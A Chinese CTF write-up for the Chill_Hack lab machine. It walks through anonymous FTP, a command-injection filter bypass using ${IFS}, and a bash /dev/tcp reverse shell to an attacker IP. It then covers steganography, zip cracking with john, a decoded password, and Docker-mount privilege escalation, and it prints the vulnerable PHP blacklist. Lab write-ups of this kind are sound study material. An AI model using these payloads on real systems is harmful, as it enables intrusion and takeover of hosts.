靶机 Chill_Hack

Chill_Hack

信息搜集

存活检测

  • arp-scan -l

    靶机 Chill_Hack_第1张图片

详细扫描

  • 扫描结果

    靶机 Chill_Hack_第2张图片

    显示允许 ftp 匿名链接

FTP 匿名登录

  • 匿名登陆 ftp 下载文件并查看

    [email protected]
    

    下载命令

    get note.txt
    

    靶机 Chill_Hack_第3张图片

  • 查看文件

    image-20231017133411769

    Anurodh告诉我,在命令 Apaar 中有一些字符串过滤
    

后台扫描

  • 扫描结果

    靶机 Chill_Hack_第4张图片

命令绕过

  • 查看 secret 秘密网页

    靶机 Chill_Hack_第5张图片

  • 出现一个命令框

    尝试输入命令 whoami

    靶机 Chill_Hack_第6张图片

    输入命令 ls

    靶机 Chill_Hack_第7张图片

    弹出警示界面,结合之前 ftp 获取的信息,命令存在字符串过滤,尝试绕过

  • 尝试 /bin/ls

    靶机 Chill_Hack_第8张图片

    可以使用命令

  • 猜测其对一些关键词进行了过滤

  • 反弹 shell(我看的攻略,目前不知道具体的过滤规则,在后面反弹 shell 成功后,查看源码时分析绕过原理)

    bash -c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    # 替换空格
    bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.132/8888 0>&1'
    

    靶机 Chill_Hack_第9张图片

  • 连接成功

    使用 script 回显

    /usr/bin/script -qc /bin/bash /dev/null
    

    靶机 Chill_Hack_第10张图片

提权

命令绕过原理

  • 此时可以看到 index.php 中的命令注入过滤规则

    /var/www/html/secret /index.php

    删除了不重要的渲染后留下了过滤原理字段

    <html>
    <body>
    
    <form method="POST">
            <input id="comm" type="text" name="command" placeholder="Command">
            <button>Execute</button>
    </form>
    <?php
            if(isset($_POST['command']))
            {
                    $cmd = $_POST['command'];      
                //输入的指令(包括空格)传入到变量 $cmd 中
                
                    $store = explode(" ",$cmd);    
                //以空格为分隔符,将每个字符串存入到 $store 数组
                
                    $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
              //过滤的关键字
                
                    for($i=0; $i<count($store); $i++) 
                        //比较数组中每个字符串,如果和过滤的字符之一匹配,则直接 return,不执行任何命令
                    {
                            for($j=0; $j<count($blacklist); $j++)
                            {
                                    if($store[$i] == $blacklist[$j])
                                    {?>
                                            <h1 style="color:red;">Are you a hacker?</h1>
    <?php                                    return;
                                    }
                            }
                    }
                
                // 若没有匹配到过滤的关键字,则执行输入的指令
                    ?><h2 style="color:blue;"><?php echo shell_exec($cmd);?></h2>
            <?php }
    ?>
    </body>
    </html>
    
  • 因为以空格为分隔符,将分隔出的字符串与过滤的关键字匹配,可以使用 ${IFS} 绕过

    Linux 中${IFS}可以代替空格

    可以看到二者效果相同

    靶机 Chill_Hack_第11张图片

  • 所以只需在过滤的关键字旁边使用${IFS}代替空格就可实现过滤的绕过

    bash${IFS}-c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    

密码获取

  • sudo -l 查看权限

    image-20231017133656891

    允许 apaar 用户使用

  • 文件 /var/www/files 下提示

    靶机 Chill_Hack_第12张图片

  • 靶机开启新的 http 服务,供 kali 下载图片分析

    image-20231017133724367

    靶机 Chill_Hack_第13张图片

  • 提取隐写文件

    steghide extract -sf hacker-with-laptop_23-2147985341.jpg
    

    靶机 Chill_Hack_第14张图片

  • 解压文件

    提示输入密码

    靶机 Chill_Hack_第15张图片

  • 密码爆破

    zip2john backup.zip > backup.john
    # 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来,并将结果保存到名为 backup.john 的文件中
    
    john --wordlist=/usr/share/wordlists/rockyou.txt backup.john 
    

    靶机 Chill_Hack_第16张图片

    成功破解密码 pass1word

  • 解压并查看

    靶机 Chill_Hack_第17张图片

    靶机 Chill_Hack_第18张图片

  • base64 解密

    IWQwbnRLbjB3bVlwQHNzdzByZA==
    # 结果
    !d0ntKn0wmYp@ssw0rd
    

    靶机 Chill_Hack_第19张图片

  • ssh 登录 apaar 用户失败

    靶机 Chill_Hack_第20张图片

  • 在家目录下找到其他两个用户,尝试登录

    靶机 Chill_Hack_第21张图片

    靶机 Chill_Hack_第22张图片

    成功登录

docker 逃逸提权

  • 依旧无 suid 权限

    image-20231017130445329

  • 上传漏洞扫描文件

    靶机 Chill_Hack_第23张图片

    运行

    靶机 Chill_Hack_第24张图片

  • 查看 docker 镜像

    docker images
    

    image-20231017132402233

  • 提权

    docker run -it -v /root:/mnt alpine
    

    在容器中运行 Alpine 镜像,并将主机的 /root 目录挂载到容器的 /mnt 目录。

    具体来说,命令的各个部分的含义如下:

    • docker run:运行一个 Docker 容器。

    • -it:创建一个交互式的终端会话,并分配一个伪终端。

    • -v /root:/mnt:将主机的 /root 目录挂载到容器的 /mnt 目录。

      容器中的 /mnt 目录将显示主机中 /root 目录的内容,并且对 /mnt 目录的更改将反映在主机的 /root 目录中。

    • alpine:指定要运行的容器镜像,这里是 Alpine 镜像。

      alpine 容器提供了一个基于 Alpine Linux 的最小化运行环境

    通过这个命令,可以在 Alpine 容器中访问和操作主机上的 /root 目录中的文件和目录。

    提权成功

    image-20231017132941331

总结

命令绕过

隐写

docker 逃逸提权

  1. 首先使用命令:docker images
    用于查看本地已下载的镜像

    REPOSITORY # 镜像仓库
    TAG # 镜像标签
    IMAGE ID # 镜像ID
    CREATED # 镜像创建时间
    SIZE # 镜像大小
    
  2. 如果不存在,
    就可以先下载个镜像,然后把 root 文件夹挂载到上面

    使用命令 docker run alpine chroot 来下载镜像文件;
    (不存在docker镜像情况下使用)

  3. 将root文件夹挂载在上面

    docker run -it -v /root:/mnt alpine
    

    将文件夹挂载到mnt文件夹

  4. Docker挂载命令逃逸:

    -v /root(需要挂载得目录):/abc(新建挂载目录)
    参数 -v 将容器外部的目录 / 挂载到容器内部
    

    因为 docker 环境运行得时候是需要 root 权限的,所以可以实现提权的目的;

你可能感兴趣的:(网络,linux,服务器)